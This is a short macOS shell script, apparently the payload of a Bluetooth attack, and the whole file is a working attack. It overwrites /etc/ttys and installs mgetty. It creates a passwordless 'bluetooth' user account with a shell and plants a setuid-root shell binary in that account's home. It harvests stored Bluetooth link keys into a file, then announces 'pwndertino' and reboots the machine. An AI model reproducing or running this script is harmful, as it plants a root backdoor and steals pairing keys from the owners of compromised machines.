cd /tmp
cp ttys /etc/ttys
mkdir -p /usr/local/etc
mkdir -p /usr/local/etc/mgetty+sendfax 
mkdir -p /usr/local/sbin
cp mgetty /usr/local/sbin
chmod +x /usr/local/sbin/mgetty
cp login.config /usr/local/etc/mgetty+sendfax 
cp mgetty.config /usr/local/etc/mgetty+sendfax 
cp ttys /etc

niutil -create . /users/bluetooth
niutil -createprop . /users/bluetooth gid 666
niutil -createprop . /users/bluetooth uid 666
niutil -createprop . /users/bluetooth shell /bin/sh
niutil -createprop . /users/bluetooth home /users/bluetooth
niutil -createprop . /users/bluetooth realname "pwned mghee"
niutil -createprop . /users/bluetooth passwd ''
mkdir /users/bluetooth
cp /tmp/shX /users/bluetooth
/usr/sbin/chown -R bluetooth /users/bluetooth
chgrp -R 666 /users/bluetooth
chmod 755 /users/bluetooth
/usr/sbin/chown root: /users/bluetooth/shX
chmod 4755 /users/bluetooth/shX
chmod +x /tmp/KeyHarvest.pl
defaults read blued LinkKeys | /tmp/KeyHarvest.pl > /Users/keys
say Welcome to pwndertino. Feel free to login as pwned mghee with no password
/sbin/reboot
